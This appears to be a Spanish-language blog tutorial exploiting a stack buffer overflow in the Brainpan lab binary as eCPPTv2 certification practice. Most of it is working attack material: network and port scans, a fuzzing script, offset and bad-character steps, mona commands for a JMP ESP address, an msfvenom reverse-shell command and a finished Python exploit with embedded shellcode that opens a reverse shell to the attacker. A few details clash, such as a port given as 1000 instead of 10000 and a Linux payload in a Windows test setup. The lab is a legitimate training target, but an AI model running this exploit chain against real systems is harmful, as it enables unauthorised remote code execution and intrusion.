HACKING SNACKS

Cómo explotar un Buffer OverFlow

Índice

En este artículo, vamos a ver cómo explotar un Buffer OverFlow. Esta vulnerabilidad es una de las más importantes en el examen del eCPPTv2 y forma parte de mi preparación para esta certificación. Si estás interesado, te dejo aquí los recursos para mi preparación.

Qué es un Buffer OverFlow

La traducción de Buffer OverFlow es Desbordamiento de Búfer ¿Qué quiere decir esto? Pues que un desbordamiento del búfer ocurre cuando un programa intenta guardar más información de la que su espacio de memoria asignado puede contener. Diríamos que, si un programa espera guardar cierta cantidad de datos en un espacio limitado y se introduce más información de la que puede manejar, esa información adicional puede sobrescribir otras partes de la memoria, causando errores o permitiendo que alguien ejecute código malicioso.

que es un buffer overflow RINKU | Hacking ético desde Ø

Para este laboratorio, lo primero que necesitas es una máquina atacante KALI o PARROT, el laboratorio que vamos a realizar (que es el BRAINPAN) y una máquina virtual Windows 7/10 para hacer pruebas antes de vulnerar el laboratorio.

Una vez que está todo instalado, vamos a comenzar con la fase de reconocimiento.

Fase de reconocimiento

Como primer paso, vamos a hacer un escaneo de nuestra red interna para encontrar las máquinas virtuales, en mi caso lo voy a hacer con netdiscover ejecutando el comando:

netdiscover -r 192.168.0.0/24

image RINKU | Hacking ético desde Ø

Por un lado tenemos la ip 192.168.0.20 que es la máquina víctima y por otro lado tenemos la ip 192.168.0.21 que es la máquina de Windows 10.

Una vez conocida la ip, vamos a hacer un escaneo de puertos con nmap.

nmap -p- -T5 192.168.0.20 -oN Brainpan_portscan.txt

image 1 RINKU | Hacking ético desde Ø

Vemos el puerto 9999 y el puerto 10000 abiertos. Ahora escaneamos los servicios de los puertos encontrados.

nmap -sCV -p9999,10000 192.168.0.20 -oN Brainpan_services.txt

image 2 RINKU | Hacking ético desde Ø

image 3 RINKU | Hacking ético desde Ø

  • 9999: En este puerto, se encuentra el servicio de brainpan.exe activo.
  • 10000: En este puerto, encontramos un servidor http con python 2.7.

Al no encontrar ninguna información importante en ningún puerto, fuzzeamos el puerto 10000 ya que al ser un servidor http, hay más posibilidades de que haya directorios ocultos.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/Directory-list-2.3-big.txt -u http://192.168.0.20:1000/

image 5 RINKU | Hacking ético desde Ø

Encontramos el directorio /bin, en el cual se encuentra un binario llamado brainpan.exe.

image 6 RINKU | Hacking ético desde Ø

Ahora pasamos el binario brainpan.exe a nuestra máquina Windows para comenzar con la fase de pruebas y explotación del Buffer OverFlow.

Fase de explotación

Dentro de nuestro Windows 10 deberemos desactivar el Windows Defender, descargar e instalar Mona Modules y Immunity Debugger.
Con mona, tendremos que mover el archivo mona.py a la carpeta C:\\Archivos de programa\Immunity Inc\Immunity Debugger\PyCommands\

Para hacer pruebas contra el binario brainpan.exe, es necesario abrir Immunity Debugger y brainpan.exe como administrador y adjuntar el binario brainpan.exe a Immunity.

image 9 RINKU | Hacking ético desde Ø

image 11 RINKU | Hacking ético desde Ø

Una vez abierto todo, como primer paso, vamos a configurar una carpeta de trabajo para el binario con el que estamos trabajando. Vamos a escribir en el buscado del immunity Debugger lo siguiente:

!mona config -set workingfolder c:\mona\%p

Ahora comenzamos con la primera fase del Buffer OverFlow, el fuzzing.

Fuzzing Buffer OverFlow

La primera fase de la explotación del Buffer OverFlow es el fuzzing. En esta fase, nuestra intención es descubrir en qué byte se bloquea el programa porque en ese punto se acontece el Desbordamiento del Buffer. Vamos a utilizar un script que consta de enviar al binario cadenas largas compuestas por «A», para descubrir en entre que bytes se bloquea el binario.

#!/usr/bin/env python3
  
import socket, time, sys
  
ip = "192.168.0.21"  
port = 9999
timeout = 1
prefix = ""
  
string = prefix + "A" * 100
  
while True:
   try:
     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
       s.connect((ip, port))
       s.recv(1024)
       print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
       s.send(bytes(string, "latin-1"))
       s.recv(1024)
   except:
     print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
     sys.exit(0)
   string += 100 * "A"
   time.sleep(1)

image 12 RINKU | Hacking ético desde Ø

Como vemos, el binario crashea entre los 500 bytes y los 600 bytes, dentro de estos bytes se encuentra el exacto con el que podremos modificar el EIP.

Controlar el EIP

En esta fase, vamos a encontrar el byte exacto donde el programa rompe y redirigir el programa a la ejecución de código malicioso.
Vamos a apoyarnos de una herramienta de metasploit para crear el payload. Vamos a sumarle 400 bytes a los 600 bytes donde rompe el programa para tener margen y crear un payload para encontrar el byte exacto.

usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

image 13 RINKU | Hacking ético desde Ø

Ahora, lanzamos el payload hacia la máquina Windows 10:

echo “payload” | nc 192.168.0.21 9999

Ahora el EIP, ha sido modificado. Ese número es donde crashea exactamente el programa. Vamos a conocer el byte exacto:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q "35724134"

image 14 RINKU | Hacking ético desde Ø

Nos da un resultado de 524. Eso quiere decir que el programa se rompe en el byte 524.

Ya tenemos el byte exacto donde crashea el programa ¿Cómo sabemos que el programa crashea exactamente en ese byte? Vamos a comprobarlo con el siguiente comando:

python3 -c 'print("A"*524 + "B" * 4)' | nc 192.168.1.21 9999

Si vemos que el EIP en el Immunity Debugger ahora es 42424242 (4 B’s en hexadecimal) significa que hemos sobrescrito el EIP.

image 15 RINKU | Hacking ético desde Ø

Ya tenemos control sobre el EIP, el siguiente paso será conocer los BADCHARS. Básicamente necesitamos saber qué caracteres son malos o no válidos para el payload. Estos caracteres son aquellos que podrían interferir con la ejecución de nuestro payload o provocar comportamientos inesperados.

Hay varias formas de crearlos, podemos irnos a Badchars – GitHub y copiar los badchars en nuestro script o crear nosotros mismos los bachars de la siguiente forma:

Python
for i in range(0,256): print('\\x%02X' % i, end='')
Bash
for i in {0..255}; do printf "\\\x%02x" $i;done

Añadimos el resultado al script y quedaría así:

#!/usr/bin/env python3
import socket

ip = "192.168.0.21"
port = 9999

prefix = ""
offset = 524
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = (
 "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Antes de ejecutar el script, vamos a Immunity a darle un archivo de badchars a mona para que pueda compararlos con el programa que vamos a ejecutar:

!mona bytearray -b "\x00"

El script se ejecuta y se observa cualquier comportamiento anómalo o crash. Si el programa se bloquea, se investiga la causa y se busca determinar si algún «badchar» es responsable. En función de los resultados, se ajusta el payload, eliminando los «badchars» identificados y reemplazándolos con valores permitidos.

Tras la ejecución, comparamos los badchars del programa objetivo con los de nuestro payload:

!mona compare -f c:\mona\brainpan\bytearray.bin -a ESP

image 16 RINKU | Hacking ético desde Ø

En este caso, este binario no tiene ningún badchar por lo que tenemos la certeza de que podemos ejecutar el script sin ningún tipo de problema.

Conocer el pointer

Como último paso, nos queda conocer el pointer; que será el punto donde el programa es redirigido al script malicioso. Para ello, vamos a ir a nuestra terminal y escribir lo siguiente:

locate nasm_shell.rb 

Ejecutamos el .rb que nos aparece junto a la instrucción JMP ESP, Lo que estamos haciendo en este momento es buscar el equivalente al opcode, que es la operación que indica qué código se va a ejecutar. Vamos a convertir el lenguaje ensamblador en código hexadecimal.

image 17 RINKU | Hacking ético desde Ø

Para conocer el pointer del programa objetivo, vamos a ejecutar el siguiente comando en Immunity Debugger:

!mona modules

image 18 RINKU | Hacking ético desde Ø

Prestamos atención al programa brainpan.exe que tiene todo en false. Esto nos indica que no hay medidas de protección contra el binario. Hay formas de Bypassear esta protección. En este caso, para el ecpptv2, tendremos un Buffer OverFlow sencillo y no será necesario bypassear los módulos de protección.

Ahora ejecutamos el comando:

!mona find -s "\xff\xe4" -m brainpan.exe

donde -m indica el módulo sin protección. Este comando nos reportará la dirección de retorno que es la siguiente:311712f3

El pointer lo añadiremos al script de la reverse shell más adelante en orden inverso, ya que al utilizar arquitectura x86 utilizamos el formato little endian. es decir que se representaría así: \xf3\x12\x17\x31.

Ejecutando la reverse shell

Para generar la reverse shell vamos a utilizar un módulo de Metasploit:

 msfvenom -p linux/x86/shell_reverse_tcp LHOST=IPATACANTE LPORT=443 EXITFUNC=thread -f c -a x86 -b "\x00”

añadimos el resultado al script:

#!/usr/bin/env python3
import socket

ip = "ip victima"
port = 9999

retn = "\xf3\x12\x17\x31"
padding = "\x90" * 16
payload = (
"\xdb\xd1\xb8\x23\xcc\x39\xc6\xd9\x74\x24\xf4\x5f\x31\xc9"
"\xb1\x12\x31\x47\x17\x03\x47\x17\x83\xcc\x30\xdb\x33\x23"
"\x12\xeb\x5f\x10\xe7\x47\xca\x94\x6e\x86\xba\xfe\xbd\xc9"
"\x28\xa7\x8d\xf5\x83\xd7\xa7\x70\xe5\xbf\xf7\x2b\x15\x2c"
"\x90\x29\x16\x53\xdb\xa7\xf7\xe3\x7d\xe8\xa6\x50\x31\x0b"
"\xc0\xb7\xf8\x8c\x80\x5f\x6d\xa2\x57\xf7\x19\x93\xb8\x65"
"\xb3\x62\x25\x3b\x10\xfc\x4b\x0b\x9d\x33\x0b")


buffer = 'A' * 524 + retn + padding + payload


try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(bytes(buffer + "\r\n", "latin-1"))
    print("Done!")
except:
    print("Could not connect.")

Ya estamos dentro del equipo 🙂

Ahora solo queda escalar privilegios, para ello, te invito a ver el vídeo tutorial de cómo explotar el Buffer OverFlow en mi canal de YouTube.

Si te estás preparando para el ecpptv2, recuerda que tienes una lista de reproducción en mi canal donde te enseño cómo hacer el Buffer OverFlow, pivoting y la generación de informes junto con todos los recursos que estoy utilizando para prepararme para la certificación.

Descárgate la plantilla gratuita del informe para el eCPPTv2

Al suscribirte, aceptas la política de privacidad de Rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.